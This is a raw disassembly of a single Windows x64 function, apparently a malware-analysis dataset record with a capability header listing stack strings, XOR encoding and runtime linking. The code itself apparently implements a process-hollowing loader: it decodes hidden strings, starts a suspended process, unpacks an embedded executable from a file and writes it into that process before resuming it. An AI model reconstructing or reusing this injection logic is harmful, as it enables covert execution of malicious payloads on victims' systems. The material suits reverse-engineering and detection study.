Function at 0x180001918
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Get common file path
Get file size
Get hostname
Link many functions at runtime
Read file on windows
Write file on windows

Disassembly:
mov rax, rsp
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x998]
sub rsp, 0xa70
mov qword [rbp - 0x18], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x960], rax
mov edx, 0x104
lea r13, str.cccccccccccccccccc
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
mov dword [rbp + 0x6a0], 0x5697f986
mov dword [rbp + 0x6a4], 0x2b6de617
mov dword [rbp + 0x6a8], 0x9cb6e394
lea rcx, [rbp + 0x6a0]
call fcn.1800018e4
mov edx, eax
lea r12, [0x180029168]
mov rcx, r12
call fcn.18000123c
mov dword [rbp + 0x6d0], 0x7c776267
mov dword [rbp + 0x6d4], 0x3a60677b
mov dword [rbp + 0x6d8], 0x34716c71
mov dword [rbp + 0x6dc], 0x7a346439
mov dword [rbp + 0x6e0], 0x62676071
mov dword [rbp + 0x6e4], 0x67393477
mov dword [rbp + 0x6e8], 0x66715734
mov dword [rbp + 0x6ec], 0x67664460
mov byte [rbp + 0x6f0], 0x77
mov dword [rbp + 0x6a0], 0x8bb922b4
mov dword [rbp + 0x6a4], 0x9612216d
mov dword [rbp + 0x6a8], 0x71eeb4ce
lea rcx, [rbp + 0x6a0]
call fcn.1800018e4
mov edx, eax
mov rcx, r12
call fcn.18000123c
xor r15d, r15d
mov eax, r15d
lea r14d, [r15 + 1]
xor byte [rbp + rax + 0x6d0], 0x14
add rax, r14
cmp rax, 0x21
jl 0x180001a3c
xor edx, edx
mov r8d, 0xc8
lea rcx, [rbp + 0x700]
call fcn.18000cf10
mov ecx, r15d
lea rdx, [rbp + 0x6d0]
lea r8, [rbp + 0x700]
movzx eax, byte [rdx]
mov word [r8], ax
add ecx, r14d
add rdx, r14
lea r8, [r8 + 2]
movsxd rax, ecx
cmp rax, 0x21
jb 0x180001a72
lea rcx, [r13 - 2]
lea rcx, [rcx + 2]
cmp word [rcx], r15w
jne 0x180001a90
mov eax, dword [0x1800291f8]
mov dword [rcx], eax
lea rcx, [r13 - 2]
lea rcx, [rcx + 2]
cmp word [rcx], r15w
jne 0x180001aa6
lea r8, [rbp + 0x700]
xor edx, edx
movzx eax, word [r8 + rdx*2]
mov word [rcx + rdx*2], ax
inc rdx
test ax, ax
jne 0x180001ab9
mov rdx, r13
lea rcx, str._s_r_n
call fcn.1800011e8
lea rdi, str.kernel32.dll
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, [0x180033350]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, [0x1800333b4]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp - 0x48], rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, [0x180033418]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp - 0x28], rax
lea rdi, str.ntdll.dll
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, [0x18003347c]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x6a0], rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, [0x1800334e0]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rsi, rax
mov qword [rbp - 0x68], rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, [0x180033544]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x6c0], rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, [0x1800335a8]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp - 0x78], rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, [0x18003360c]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp - 0x38], rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, [0x180033670]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp - 0x20], rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, [0x1800336d4]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
mov qword [rbp - 0x30], rax
mov dword [rbp + 0x200], 0x10000b
xor edx, edx
lea r8d, [rdx + 0x68]
lea rcx, [rbp + 0x160]
call fcn.18000cf10
xor eax, eax
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x70], rax
test rdi, rdi
jne 0x180001c82
mov dword [rbp + 0x6a0], 0x3aa4ef3d
mov dword [rbp + 0x6a4], 0x13812148
mov dword [rbp + 0x6a8], 0x95fd60b0
lea rcx, [rbp + 0x6a0]
call fcn.1800018e4
mov rcx, r12
mov edx, eax
call fcn.18000123c
mov eax, r14d
jmp 0x180002a1e
test rbx, rbx
je 0x180001d0f
lea rax, [rsp + 0x60]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x160]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r15
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], r15d
xor r9d, r9d
xor r8d, r8d
mov rdx, r13
xor ecx, ecx
call rbx
test eax, eax
jne 0x180001d1b
mov dword [rbp + 0x6a0], 0xfc38d2d0
mov dword [rbp + 0x6a4], 0x8dd32781
mov dword [rbp + 0x6a8], 0x99a9f51f
lea rcx, [rbp + 0x6a0]
call fcn.1800018e4
mov edx, eax
mov rcx, r12
call fcn.18000123c
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.x_Error:__d_n
jmp 0x180001c73
lea rcx, str.Error_n
call fcn.18000123c
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], r15d
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, r14d
mov edx, 0x80000000
lea rcx, [0x180033740]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rdi, rax
mov qword [rbp - 0x40], rax
cmp rax, 0xffffffffffffffff
jne 0x180001da9
mov dword [rbp + 0x6a0], 0x32e7795a
mov dword [rbp + 0x6a4], 0xd1095c76
mov dword [rbp + 0x6a8], 0xa33efc07
lea rcx, [rbp + 0x6a0]
call fcn.1800018e4
mov edx, eax
mov rcx, r12
call fcn.18000123c
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str._nError:__d_n
mov edx, eax
call fcn.18000123c
mov edx, r14d
mov rcx, qword [rsp + 0x60]
call rsi
jmp 0x180001c7a
lea rcx, str.xxxxxxxxxxx_n
call fcn.18000123c
xor edx, edx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov ebx, eax
mov ecx, eax
call fcn.180009ef4
mov r13, rax
mov qword [rbp + 0x6b0], rax
mov qword [rsp + 0x20], r15
lea r9, [rbp - 0x50]
mov r8d, ebx
mov rdx, rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x180001e21
mov dword [rbp + 0x6a0], 0x3042f57e
mov dword [rbp + 0x6a4], 0x19f44f0
mov dword [rbp + 0x6a8], 0x1f67d5f1
lea rcx, [rbp + 0x6a0]
call fcn.1800018e4
mov rcx, r12
jmp 0x180001d93
mov edx, 0x3e8
lea r9d, [rbx - 0xc8]
lea rbx, [0x180029390]
cmp r9d, edx
jbe 0x180001e71
mov r8, r13
sub r8, rbx
add r8, rdx
mov r11d, r15d
mov r10, r15
lea rcx, [r10 + rbx]
mov al, byte [rcx + r8]
cmp byte [rcx], al
jne 0x180001e60
add r11d, r14d
add r10, r14
cmp r10, 0x64
jl 0x180001e48
cmp r11d, 0x64
je 0x180001e71
add edx, r14d
add r8, r14
cmp edx, r9d
jb 0x180001e42
add edx, 0xa
cmp edx, r9d
jae 0x180001eb4
movsxd r8, edx
sub r8, rbx
add r8, r13
mov r11d, r15d
mov r10, r15
lea rcx, [r10 + rbx]
mov al, byte [r8 + rcx]
cmp byte [rcx], al
jne 0x180001ea0
add r11d, r14d
add r10, r14
cmp r10, 0x64
jl 0x180001e88
cmp r11d, 0x64
je 0x180001eb1
add edx, r14d
add r8, r14
cmp edx, r9d
jb 0x180001e82
cmp edx, r9d
jne 0x180001f69
mov dword [rbp + 0x6a0], 0x6cec5ff4
mov dword [rbp + 0x6a4], 0x376cc70f
mov dword [rbp + 0x6a8], 0x1dc7fa01
lea rcx, [rbp + 0x6a0]
call fcn.1800018e4
mov edx, eax
mov rcx, r12
call fcn.18000123c
lea rcx, str.File_Error_n
call fcn.18000123c
mov dword [rbp + 0x6a0], 0xfb3fae6
mov dword [rbp + 0x6a4], 0x83820c04
mov dword [rbp + 0x6a8], 0x33e834f0
lea rcx, [rbp + 0x6a0]
call fcn.1800018e4
mov edx, eax
mov rcx, r12
call fcn.18000123c
lea rdx, [0x18002919c]
lea rcx, str.xxx.txt
call fcn.18000e9c4
mov rbx, rax
mov r9, rax
mov r8d, 0xf
mov rdx, r14
lea rcx, str.File_Error1111111111
call fcn.18001164c
mov rcx, rbx
call fcn.18000ebfc
jmp 0x180002a1c
movsxd rbx, edx
mov edi, dword [rbx + r13 + 0x64]
mov r8d, edx
mov edx, edi
lea rcx, str.len___d__d_n
call fcn.18000123c
mov r14d, 0x98967f
mov ecx, r14d
call fcn.180009ef4
mov rsi, rax
mov r12d, r14d
lea rcx, [r13 + 0x68]
add rcx, rbx
mov qword [rbp + 0x700], rcx
mov dword [rbp + 0x708], r15d
mov qword [rbp + 0x730], r15
mov qword [rbp + 0x738], r15
mov qword [rbp + 0x740], r15
lea rcx, [rbp + 0x700]
call fcn.1800068d0
test eax, eax
jne 0x1800029d4
mov qword [rbp + 0x710], rsi
mov eax, r15d
mov dword [rbp + 0x718], eax
or r13d, 0xffffffff
test eax, eax
jne 0x180001fff
mov eax, r12d
cmp r12d, r13d
cmova eax, r13d
mov dword [rbp + 0x718], eax
sub r12d, eax
cmp dword [rbp + 0x708], r15d
jne 0x180002019
mov eax, edi
cmp edi, r13d
cmova eax, r13d
mov dword [rbp + 0x708], eax
sub edi, eax
lea rcx, [rbp + 0x700]
call fcn.180006abc
mov dword [rsp + 0x50], eax
test eax, eax
jne 0x180002035
mov eax, dword [rbp + 0x718]
jmp 0x180001fe8
mov ebx, r15d
lea rax, [rsp + 0x54]
cmp rsi, rax
cmovne ebx, dword [rbp + 0x71c]
lea rcx, [rbp + 0x700]
call fcn.1800080e4
mov edi, 1
cmp dword [rsp + 0x50], edi
mov r13, qword [rbp + 0x6b0]
jne 0x1800029d4
mov dword [rbp + 0x6b0], 0xf8e60eb0
mov dword [rbp + 0x6b4], 0x15b192f5
mov dword [rbp + 0x6b8], 0x3ca578d
lea rcx, [rbp + 0x6b0]
call fcn.1800018e4
mov edx, eax
lea r12, [0x180029168]
mov rcx, r12
call fcn.18000123c
xor edx, edx
mov r8d, 0x190
lea rcx, [rbp + 0x7d0]
call fcn.18000cf10
mov dword [rsp + 0x58], 0x100
lea r8, [rsp + 0x58]
lea rdx, [rbp + 0x7d0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetComputerNameExW]
test eax, eax
jne 0x18000217f
mov dword [rbp + 0x6b0], 0x1c266f48
mov dword [rbp + 0x6b4], 0xa9756f52
mov dword [rbp + 0x6b8], 0xbd9e394b
lea rcx, [rbp + 0x6b0]
call fcn.1800018e4
mov edx, eax
mov rcx, r12
call fcn.18000123c
lea r8, [rsp + 0x58]
lea rdx, [rbp + 0x7d0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetComputerNameExW]
test eax, eax
jne 0x18000217f
mov dword [rbp + 0x6b0], 0x55d1851c
mov dword [rbp + 0x6b4], 0x295172cd
mov dword [rbp + 0x6b8], 0xbff1686c
lea rcx, [rbp + 0x6b0]
call fcn.1800018e4
mov edx, eax
mov rcx, r12
call fcn.18000123c
mov rcx, r15
lea rdx, [0x180000000]
movzx eax, word [rcx + rdx + 0x292b8]
mov word [rbp + rcx + 0x7d0], ax
lea rcx, [rcx + 2]
test ax, ax
jne 0x180002166
movups xmm0, xmmword [0x1800292e8]
movaps xmmword [rbp + 0x700], xmm0
mov eax, dword [0x1800292f8]
mov dword [rbp + 0x710], eax
movzx eax, word [0x1800292fc]
mov word [rbp + 0x714], ax
mov al, byte [0x1800292fe]
mov byte [rbp + 0x716], al
xor edx, edx
mov r8d, 0xb1
lea rcx, [rbp + 0x717]
call fcn.18000cf10
mov ecx, r15d
lea rdx, [rbp + 0x700]
lea r8, [rbp + 0x7d0]
mov al, byte [r8]
mov byte [rdx], al
add ecx, edi
lea r8, [r8 + 2]
add rdx, rdi
movsxd rax, ecx
cmp rax, 0xc8
jb 0x1800021d8
mov dword [rbp + 0x6b0], 0x82be3331
mov dword [rbp + 0x6b4], 0xe9977b
mov dword [rbp + 0x6b8], 0x286ac261
lea rcx, [rbp + 0x6b0]
call fcn.1800018e4
mov edx, eax
mov rcx, r12
call fcn.18000123c
mov ecx, r15d
lea r9d, [rbx - 0xf]
test r9d, r9d
jle 0x18000225b
mov r8, rsi
mov edx, r15d
mov rax, r15
cmp byte [r8 + rax], 0x62
jne 0x18000224c
add edx, edi
add rax, rdi
cmp rax, 0x32
jl 0x18000223a
cmp edx, 0x32
je 0x18000225b
add ecx, edi
add r8, rdi
cmp ecx, r9d
jl 0x180002234
lea eax, [rbx - 0x14]
cmp ecx, eax
jg 0x1800022ee
movsxd rcx, ecx
add rcx, rsi
lea rax, [rbp + 0x700]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov edx, 0x80
add rcx, rdx
movups xmm0, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm0
add rax, rdx
movups xmm1, xmmword [rax]
movups xmmword [rcx], xmm1
movups xmm0, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm0
movups xmm1, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm1
movups xmm0, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm0
mov rax, qword [rax + 0x40]
mov qword [rcx + 0x40], rax
lea rcx, str._r_nSUCCESS_r_n
call fcn.18000123c
mov edx, ebx
mov rcx, rsi
call fcn.1800014cc
mov rcx, r14
call fcn.180009ef4
mov qword [rbp - 0x80], rax
mov r12d, r15d
mov dword [rbp - 0x60], r15d
mov qword [rbp + 0x730], r15
mov qword [rbp + 0x738], r15
mov qword [rbp + 0x740], r15
lea rcx, [rbp + 0x700]
call fcn.180003fbc
mov edi, eax
test eax, eax
je 0x18000233d
mov r14d, 1
jmp 0x1800023e0
mov rax, qword [rbp - 0x80]
mov qword [rbp + 0x710], rax
mov eax, r15d
mov dword [rbp + 0x718], eax
mov qword [rbp + 0x700], rsi
mov ecx, r15d
mov dword [rbp + 0x708], ecx
or r12d, 0xffffffff
test eax, eax
jne 0x18000237c
mov eax, r14d
cmp r14d, r12d
cmova eax, r12d
mov dword [rbp + 0x718], eax
sub r14d, eax
test ecx, ecx
jne 0x180002391
mov eax, ebx
cmp ebx, r12d
cmova eax, r12d
mov dword [rbp + 0x708], eax
sub ebx, eax
mov eax, ebx
neg eax
sbb edx, edx
not edx
and edx, 4
lea rcx, [rbp + 0x700]
call fcn.1800043c0
mov edi, eax
test eax, eax
jne 0x1800023bc
mov eax, dword [rbp + 0x718]
mov ecx, dword [rbp + 0x708]
jmp 0x180002365
mov r12d, dword [rbp + 0x71c]
mov dword [rbp - 0x60], r12d
lea rcx, [rbp + 0x700]
call fcn.180004d44
mov r14d, 1
cmp edi, r14d
cmove edi, r15d
test edi, edi
je 0x18000242d
mov dword [rbp + 0x6a0], 0x8f6be354
mov dword [rbp + 0x6a4], 0x146c3e9f
mov dword [rbp + 0x6a8], 0x77c299c9
lea rcx, [rbp + 0x6a0]
call fcn.1800018e4
mov edx, eax
lea rcx, [0x180029168]
call fcn.18000123c
mov rcx, rsi
call fcn.180009f40
mov rcx, qword [rbp - 0x80]
jmp 0x180002a0f
xor ecx, ecx
call fcn.180011768
mov rcx, rax
call fcn.18000e7ec
mov edi, r12d
shr edi, 0xe
add edi, r14d
call fcn.18000e7c0
mov r9d, eax
mov eax, 0x38e38e39
imul r9d
sar edx, 1
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea ecx, [rdx + rdx*8]
sub r9d, ecx
inc r9d
add edi, r9d
shl edi, 0xe
mov dword [rsp + 0x50], edi
xor edx, edx
lea r8d, [rdx + 0x64]
lea rcx, [rbp + 0x700]
call fcn.18000cf10
call fcn.18000e7c0
and eax, 0x80000001
jge 0x180002498
sub eax, r14d
or eax, 0xfffffffe
add eax, r14d
mov rcx, r15
lea rdi, [0x180000000]
test eax, eax
jne 0x1800024bd
mov al, byte [rcx + rdi + 0x29300]
mov byte [rbp + rcx + 0x700], al
add rcx, r14
test al, al
jne 0x1800024a6
jmp 0x1800024d2
mov al, byte [rcx + rdi + 0x29308]
mov byte [rbp + rcx + 0x700], al
add rcx, r14
test al, al
jne 0x1800024bd
mov edi, dword [rsp + 0x50]
mov ecx, 0x5f5e0f6
call fcn.180009ef4
mov r12, rax
mov dword [rbp + 0x6b0], 0x43cc4a17
mov dword [rbp + 0x6b4], 0x801442b3
mov dword [rbp + 0x6b8], 0x302c604a
mov byte [rbp + 0x6bc], r15b
lea rax, [rbp + 0x6b0]
or r13, 0xffffffffffffffff
mov rdx, r13
inc rdx
cmp byte [rax + rdx], r15b
jne 0x180002516
lea rcx, [rbp + 0x6b0]
call fcn.180003064
mov edx, eax
lea rcx, [0x180029168]
call fcn.18000123c
mov ecx, 0x40
call fcn.180009efc
mov qword [rbp], rax
mov dword [rbp + 0x10], r15d
mov ecx, 0x108
call fcn.180009efc
mov qword [rbp + 0x18], rax
mov rbx, r15
mov ecx, 0x28
call fcn.180009efc
mov qword [rbp + rbx*8 + 0x20], rax
add rbx, r14
cmp rbx, 0x14
jl 0x18000255c
mov rdx, rsi
lea rcx, [rbp - 0x10]
call fcn.180003394
mov dword [rbp + 0x6b0], 0xf1f67384
mov dword [rbp + 0x6b4], 0x5bc4a048
mov dword [rbp + 0x6b8], 0x6654a822
mov byte [rbp + 0x6bc], r15b
lea rax, [rbp + 0x6b0]
mov rdx, r13
inc rdx
cmp byte [rax + rdx], r15b
jne 0x1800025af
lea rcx, [rbp + 0x6b0]
call fcn.180003064
mov edx, eax
lea rcx, [0x180029168]
call fcn.18000123c
mov rsi, qword [rbp + 0x18]
movzx ebx, word [rsi + 6]
mov r8d, dword [rsi + 0x3c]
mov edx, edi
call fcn.180003158
mov dword [rsp + 0x78], eax
mov r8d, dword [rsi + 0x38]
mov edx, eax
call fcn.180003158
mov r14d, eax
mov qword [rbp + 0x6b0], rbx
mov rbx, qword [rbp + rbx*8 + 0x18]
mov edx, dword [rbx + 0x14]
add edx, dword [rbx + 0x10]
mov r8d, dword [rsi + 0x3c]
call fcn.180003158
mov edi, eax
mov edx, dword [rbx + 0xc]
add edx, dword [rbx + 8]
mov r8d, dword [rsi + 0x38]
call fcn.180003158
mov ebx, eax
mov rax, qword [rbp + 0x6b0]
mov rsi, qword [rbp + rax*8 + 0x20]
xor edx, edx
lea r8d, [rdx + 0x28]
mov rcx, rsi
call fcn.18000cf10
mov dword [rsi + 0x14], edi
mov dword [rsi + 0xc], ebx
mov ebx, dword [rsp + 0x78]
mov dword [rsi + 0x10], ebx
mov dword [rsi + 8], r14d
mov dword [rsi + 0x24], 0xc0000040
lea rax, [rbp + 0x700]
mov r8, r13
inc r8
cmp byte [rax + r8], r15b
jne 0x180002661
lea rdx, [rbp + 0x700]
mov rcx, rsi
call fcn.18000d0c0
mov rdx, rbx
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov rcx, qword [rbp + 0x6b0]
mov qword [rbp + rcx*8 + 0xc0], rax
mov rax, qword [rbp + 0x18]
mov r14d, 1
add word [rax + 6], r14w
mov rdx, r12
lea rcx, [rbp - 0x10]
call fcn.180003694
movsxd rbx, eax
xor ecx, ecx
call fcn.180011768
mov rcx, rax
call fcn.18000e7ec
movsxd rax, dword [rsp + 0x50]
mov rcx, rbx
sub rcx, rax
movups xmm0, xmmword [str.iiiiiiiiiiiiiiiiiiiiiiii]
movups xmmword [rcx + r12 + 1], xmm0
mov eax, dword [0x180029320]
mov dword [rcx + r12 + 0x11], eax
movups xmm0, xmmword [rbp - 0x60]
movups xmmword [rcx + r12 + 0x15], xmm0
mov eax, dword [rbp - 0x50]
mov dword [rcx + r12 + 0x25], eax
mov r8d, dword [rbp - 0x60]
add rcx, 0x19
add rcx, r12
mov rdx, qword [rbp - 0x80]
call fcn.18000d0c0
mov rax, qword [rbp - 0x48]
test rax, rax
je 0x18000290e
mov esi, 0x3000
lea r9d, [r14 + 3]
mov r8d, esi
mov rdx, rbx
xor ecx, ecx
call rax
mov rdi, rax
mov r8, rbx
mov rdx, r12
mov rcx, rax
call fcn.18000d0c0
mov rcx, qword [rbp - 0x40]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 0x5a4d
cmp word [rdi], ax
jne 0x180002803
movsxd rbx, dword [rdi + 0x3c]
add rbx, rdi
lea rdx, [rbp + 0x1d0]
mov rcx, qword [rsp + 0x68]
call qword [rbp - 0x38]
mov rdx, qword [rbp + 0x258]
add rdx, 0x10
mov qword [rsp + 0x20], r15
lea r9d, [r14 + 7]
lea r8, [rbp - 0x70]
mov rcx, qword [rsp + 0x60]
call qword [rbp + 0x6c0]
lea r12, [rbx + 0x30]
mov rax, qword [r12]
cmp qword [rbp - 0x70], rax
jne 0x1800027e0
mov dword [rbp + 0x6c0], 0x6c353834
mov dword [rbp + 0x6c4], 0x2f9db91c
mov dword [rbp + 0x6c8], 0x531e5c22
lea rcx, [rbp + 0x6c0]
call fcn.1800018e4
mov edx, eax
lea rcx, [0x180029168]
call fcn.18000123c
mov rdx, qword [rbp - 0x70]
mov rcx, qword [rsp + 0x60]
call qword [rbp - 0x30]
mov r8d, dword [rbx + 0x50]
mov dword [rsp + 0x20], 0x40
mov r9d, esi
mov rdx, qword [r12]
mov rcx, qword [rsp + 0x60]
call qword [rbp - 0x28]
mov rsi, rax
test rax, rax
jne 0x18000284e
mov dword [rbp + 0x6a0], 0xc6d450ab
mov dword [rbp + 0x6a4], 0xa0a4c3c
mov dword [rbp + 0x6a8], 0x50d87c81
lea rcx, [rbp + 0x6a0]
call fcn.1800018e4
mov edx, eax
lea rcx, [0x180029168]
call fcn.18000123c
mov edx, r14d
mov rcx, qword [rsp + 0x60]
call qword [rbp - 0x68]
mov ebx, r14d
jmp 0x180002955
mov qword [rsp + 0x20], r15
mov r9d, dword [rbx + 0x54]
mov r8, rdi
mov rdx, rax
mov rcx, qword [rsp + 0x60]
call qword [rbp - 0x78]
mov r14d, r15d
cmp r15w, word [rbx + 6]
jae 0x1800028bc
mov r12, qword [rbp - 0x78]
mov eax, r14d
lea r9, [rax + rax*4]
movsxd rcx, dword [rdi + 0x3c]
add rcx, rdi
mov r8d, dword [rcx + r9*8 + 0x11c]
add r8, rdi
mov edx, dword [rcx + r9*8 + 0x114]
add rdx, rsi
mov qword [rsp + 0x20], r15
mov r9d, dword [rcx + r9*8 + 0x118]
mov rcx, qword [rsp + 0x60]
call r12
inc r14d
movzx eax, word [rbx + 6]
cmp r14d, eax
jb 0x180002873
lea r12, [rbx + 0x30]
mov eax, dword [rbx + 0x28]
add rax, rsi
mov qword [rbp + 0x250], rax
mov rdx, qword [rbp + 0x258]
add rdx, 0x10
mov qword [rsp + 0x20], r15
mov r9d, 8
mov r8, r12
mov rcx, qword [rsp + 0x60]
call qword [rbp - 0x78]
lea rdx, [rbp + 0x1d0]
mov rcx, qword [rsp + 0x68]
call qword [rbp - 0x20]
xor edx, edx
mov rcx, qword [rsp + 0x68]
call qword [rbp + 0x6a0]
mov r14d, 1
jmp 0x180002952
mov dword [rbp + 0x6a0], 0xdd33e7ba
mov dword [rbp + 0x6a4], 0x2f11d3e8
mov dword [rbp + 0x6a8], 0xc504592e
lea rcx, [rbp + 0x6a0]
call fcn.1800018e4
mov edx, eax
lea rcx, [0x180029168]
call fcn.18000123c
lea rcx, str.Error_5_n
call fcn.18000123c
mov ebx, r15d
mov rcx, qword [rbp]
call fcn.180009f40
mov dword [rbp + 0x10], r15d
mov dword [rbp + 0x6a0], 0x23621bb7
mov dword [rbp + 0x6a4], 0x517dca99
mov dword [rbp + 0x6a8], 0x2eb870c
mov byte [rbp + 0x6ac], r15b
lea rax, [rbp + 0x6a0]
inc r13
cmp byte [rax + r13], r15b
jne 0x18000298e
mov rdx, r13
lea rcx, [rbp + 0x6a0]
call fcn.180003064
mov edx, eax
lea rcx, [0x180029168]
call fcn.18000123c
mov rcx, qword [rbp + 0x18]
call fcn.180009f40
mov rcx, qword [rbp + r15*8 + 0x20]
call fcn.180009f40
add r15, r14
cmp r15, 0x14
jl 0x1800029bd
mov eax, ebx
jmp 0x180002a1e
mov dword [rbp + 0x6a0], 0x235f2954
mov dword [rbp + 0x6a4], 0x74a30de0
mov dword [rbp + 0x6a8], 0xf7a6fd4d
lea rcx, [rbp + 0x6a0]
call fcn.1800018e4
mov edx, eax
lea rcx, [0x180029168]
call fcn.18000123c
mov rcx, rsi
call fcn.180009f40
mov rcx, r13
call fcn.180009f40
xor eax, eax
mov rcx, qword [rbp + 0x960]
xor rcx, rsp
call fcn.180009ed0
lea r11, [rsp + 0xa70]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret